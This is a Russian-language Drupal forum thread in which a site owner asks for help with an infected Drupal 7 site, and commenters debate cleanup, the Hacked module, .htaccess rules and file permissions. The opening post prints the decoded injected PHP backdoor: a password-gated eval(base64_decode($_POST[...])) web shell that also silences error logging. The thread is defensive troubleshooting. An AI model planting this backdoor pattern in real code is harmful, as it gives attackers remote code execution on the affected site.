@eval взлом всех модулей?

Главные вкладки

Аватар пользователя Rusic Rusic 29 мая 2018 в 0:47

Доброго времени суток.

drupal 7.59
модули все последние, с логах обновлений все зеленое.

Хотел бы уточнить, несколько недель назад решал вопрос с падением сайта, в итоге заменил все фалы модуля recaptcha, обновил ядро и сайт ожил. Однако теперь сайт упал, при там почистив cache сайт поднимается, но грузится крайне медленно, и не только из-за кеша. Посмотрел фалы модулей, и даже корневые файлы, хотя дата изменения их не изменялась, во всех файлах php изначально отключается вывод всех ошибок

error_reporting(0); ini_set('error_log',NULL); ini_set('log_errors',0); ini_set('display_errors','Off');

после выполняется некий php через eval, при том что он по сути я декодировал, проверяет наличие куков

if(md5($_POST["pf"]) === "93ad003d7fc57aae938ba483a65ddf6d") { eval(base64_decode($_POST["cookies_p"])); }
if (strpos($_SERVER['REQUEST_URI'], "post_render" ) !== false) { $patchedfv = "GHKASMVG"; }
if( isset( $_REQUEST['fdgdfgvv'] ) ) { if(md5($_REQUEST['fdgdfgvv']) === "93ad003d7fc57aae938ba483a65ddf6d") { $patchedfv = "SDFDFSDF"; } }
if($patchedfv === "GHKASMVG" ) { ob_end_clean(); die; }

Не и после, включается логировние. В чем вопрос, это взлом? Если да, то как выявить дырявый модуль ? Ведь все было нормально. А теперь после 15 минут включается редирект на вирусные сайты, при том разные, пока не вычистишь кеш

ВложениеРазмер
Иконка изображения вот на такой сайт закидывает7.15 КБ

Комментарии

Аватар пользователя gun_dose gun_dose 29 мая 2018 в 14:36

Hacked не видит лишние файлы. А ведь лишний файл можно вызвать по прямой ссылке, и уже не важно, какая версия друпала установлена.

Аватар пользователя Phantom63rus Phantom63rus 29 мая 2018 в 16:07

Да вообще сомнительной нужности модуль. Заражение детектируется с первого взгляда, чистка один хрен тотальная, с перезаписью всех модулей это без вариантов.

Аватар пользователя postgres postgres 29 мая 2018 в 16:20

Smile Сомнительная команда diff операционной системы unix-linux вы хотите сказать, но ведь никто не заставлет ей пользоваться? Не нравится - не пользуйтесь - всех то делов. Зрите сразу как уже привыкли.

Аватар пользователя bumble bumble 29 мая 2018 в 16:31
1

Ээээ... тотально....
А как же проверять всех прошлых разрабов на внесение правок в контриб/ядро??
Такие, к сожалению, существуют.

Аватар пользователя xakd xakd 1 июня 2018 в 11:44

Лишние файлы можно увидеть элементарно и без hacked - на локальной версии конечно. В том же сравнении папок в тотале.
А в остальном Hacked вполне себе удобен - в связке с diff

Аватар пользователя postgres postgres 29 мая 2018 в 14:47

Скрипты вывести по прямой ссылке нельзя... все должно заворачиваться на /index.php
исключение - каталог public - но там запрет на прокрутку скриптов. Вызов скриптов напрямую невозможен за исключением корня сайта, а если возможен - то надо заглянуть в свой .htaccess и проверить настройки своего виртуал хост.
Певое правило должно быть:

# Protect files and directories from prying eyes.
<FilesMatch "\.(engine|inc|info|install|make|module|profile|test|po|sh|.*sql|theme|tpl(\.php)?|xtmpl)(~|\.sw[op]|\.bak|\.orig|\.save)?$|^(\..*|Entries.*|Repository|Root|Tag|Template)$|^#.*#$|\.php(~|\.sw[op]|\.bak|\.orig\.save)$">
  Order allow,deny
</FilesMatch>
Аватар пользователя gun_dose gun_dose 29 мая 2018 в 21:26
1

Это работает только при правильной настройке сервера, то есть не всегда)) однажды я гуглил кусок кода из модуля webform и нашёл в поиске сайт в правительственном домене Филиппин, код которого был полностью проиндексирован))) идеальный бэкап))) после такого я бы не стал так уверенно говорить, что вот прямо нельзя-нельзя вызвать пхп скрипт по прямой ссылке

Аватар пользователя postgres postgres 30 мая 2018 в 15:51

ну и что. в каком то каталоге лежит скрипт php который открывается как текстовый файл, потому что в данном каталоге выполнение скриптов запрещено. ничего страшного кроме загаженного индекса это не несет.

Ну и потом, пришел ты например в магазин покупать салюты домой и тебе там говорят - отличные салюты, абсолютно безопасны при правильной упаковке. Ну и ты - а вы правильно упаковывайте? А тебе продавец: не знаю не знаю... у нас тут из пожаров текучка кадров страшная...
Ну и ты конечно: а, тогда беру!

ну и коли такой офтоп пошел, один знакомый музыкант искренне просто в сердцах возмущается: в чем смысл петь фальшиво?
Вот я тоже: в чем смысл неправильно настраивать сервера?

Аватар пользователя postgres postgres 30 мая 2018 в 21:38

Так! Гусары!!!
Какие права должны быть на файлах в папках модулей и в других местах?

У вас там есть права execute на файлах... а зачем?
chmod в помощь Lol

Аватар пользователя postgres postgres 1 июня 2018 в 1:19

Зачем вам права execute на файлы с расширениями module, inc, info? Вы их чем собираетесь выполнять?
Есть только один модуль с присутсвием файла с расширением php, elisa_cron. И там в инструкции написано: скопируйте его в нужное место .

Друпал мозга костей лечится просто. Разверните дистрибутив Друпал и помотрите какие права на файлы в папке /module - и ведь работает!

Аватар пользователя gun_dose gun_dose 1 июня 2018 в 7:04

Так, секунду. Мы ведь говорим о лишних файлах, созданных в результате взлома. Естественно, что они будут создаваться с правами на исполнение. То есть права на файлы здесь вообще ничего не решают. Нужна правильная настройка веб-сервера, чтобы он не пускал вообще никого никуда кроме корня и files, и чтобы не исполнял ничего из files. И отвечая на вопрос выше "зачем сервер настраивать неправильно", хочу отметить, что из коробки любой сервер позволит выполнить что угодно из директории сайта и всех влеженных, т.к. в других движках это может быть необходимо для работы. И вот тут кже с правильной настройкой сервера вряд ли кто-то справится, кроме Бориса.

Аватар пользователя Rusic Rusic 30 мая 2018 в 0:42

Спасибо всем за уделенное время, вроде почистил и базу (кеш) и файлы, ядро перезалил, а сами модули в большинстве чистил руками, чтобы не зацепить настройки сделанные предыдущим администратором сайта. Пока полет нормальный, да и грузится быстрее, из-за того, что не нужно грузить сторонний сайт.

Модуль Hacked не инициализируется,

Полученный код HTTP: 500 Следует отладочная информация. Путь: /batch?id=1741&op=do Текст Состояния: Internal Server Error Текст Ответа:

Аватар пользователя Phantom63rus Phantom63rus 30 мая 2018 в 14:19

В папках с модулями нет настроек, они все в базе.

Ещё либы перезалить (а вот тут аккуратнее, могут быть, к примеры стили superfish menu) и файлопомойку прошерстить на скрипты (их быть не должно).

Аватар пользователя postgres postgres 30 мая 2018 в 15:32

ну это тоже говорит о том, что надо дальше заниматься... не работает интерфейс пакетной обработки судя по ответу, проверьте на чем нибудь другом работу батча с индикацией

Аватар пользователя postgres postgres 1 июня 2018 в 8:40

gun_dose wrote:

Естественно, что они будут создаваться с правами на исполнение.

Как раз наоборот, неестественно совершенно.
Сразу после установки всем служебным директориям даются права r-x r-x r-x а файлам в них r-- r-- r-- и все (извини Борис) Права x на директории означают, что можно получать список файлов них.Даже если взломщик получил от имени сервера возможность выполнить код, он ничего не сможет сделать в этих каталогах... ну кроме как получить список файлов
Откуда берутся права r на файлах - от вредного сoвета устанавливать права командой

chmod -R  755 /sites/all

а надо в два захода, сначала задаем всем каталогам и файлам в ветке права r-x, а потом снимаем с файлов x

chmod -R 500 ./sites/all
find ./sites/all -type f -exec chmod a-x {} \;

Это паранодальный режим, в котором обновление модулей возможно только через консоль и sudo. Избыточность кода тут для наглядности

Аватар пользователя gun_dose gun_dose 1 июня 2018 в 9:13

Если зловред может выполнять код, то он выполнит chmod и все твои рассуждения идут лесом. Как правило, хозяин папок и файлов в директории тот, от чьего имени работает сервер. Конечно, в упомянутом параноидальном режиме такое не прокатит. Но мы говорим об обычных друпал-сайтах, с обычными для друпала правами и настройками. И в данном контексте можно утверждать с вероятностью 99%, что любой вредоносный пхп-файл можно запустить по прямой ссылке. И пока ты игнорируешь такую возможность, опираясь на фрагментарные знания о системном администрировании, с твоих сайтов могут рассылать спам, майнить и атаковать кого-то.

Аватар пользователя postgres postgres 1 июня 2018 в 9:16

Да нет же !!!
Он не может выполнить chmod если он не владелец сайта и файлов в нем.
Это не мои рассуждения - это моя практика

Аватар пользователя gun_dose gun_dose 1 июня 2018 в 10:00

Большой вопрос, как такая настройка скажется на работоспособности сервера. Как правило, владелец всего внутри веб-директории www-data. От его же имени выполняется любой пхп-скрипт. Есть в семёрке вот такая вещь, которая используется очень много где. Кэш js, css, twig-шаблонов и т.д. не будут работать, если пхп-скрипт не может писать в файловую систему.

Аватар пользователя postgres postgres 1 июня 2018 в 14:04

Предлагаю игру - тренировку: я на timeweb создаю на 10 дней учетку с Друпалом (7) и пишу тикеты по настройкам безопасности или прошу их ТП дать конкретные рекомендации, которые я могу выполнить из админки. И сообщаю желающим пароль админки Друпал. Желающие ломают сайт. сообщают о своих удачах. Вместе ищем способы защиты и результаты выкладываем сюда.

Аватар пользователя postgres postgres 1 июня 2018 в 14:20

От всего конечно нет. Как минимум почиканную базу буду иметь, но ее можно восстановить их бэкапа и это 2-3 минуты плюс гемор с потерей изменений

Аватар пользователя postgres postgres 1 июня 2018 в 9:07

но этого недостаточно... если у апача есть права на выполнение команды chmod и chown то конечно он их поменяет. Для предотвращения - апачу должны быть запрещены эти команды либо он не должен владельцем корня сайта и всех его файлов. (тогда то что выше меняет параною на норму chmod -R 755 ./sites/all) К сожалению хостеры испльзуют схему chroot когда апач и юзер - то есть вы - один и тот же юзер. С точки зрения безопасности крайне неудобное сочетание. По этой причине предпочитаю VDS Но и в случае с "обычным хостингом" решается урезанием себя а значит и апача, в правах владельца каталога через тикет в службу ТП или просьбой запретить себе команды chmod. А как же тогда маленькие тесты с кодом? а в другом месте...

Аватар пользователя Semantics Semantics 1 июня 2018 в 10:40

афтар жжот, собственно, апач-то причём? Это не он делает chmod, а интерпретатор.
Есть куча конфигов кроме Apache + mod_php.

Или предлагаете в дикий safe mode всем переходить?

Аватар пользователя postgres postgres 1 июня 2018 в 14:06

А.. ты не в курсе, что все процессы апача выполняются с правами апача? И даже команды интерпретатора будут выполняться от его имени? ну, нет вопросов

Аватар пользователя Semantics Semantics 3 июня 2018 в 21:01

Я в курсе, что кроме денвера под винду существует куча вариантов.
А вы в очередной раз безапелляционно пытаетесь навязать своё мнение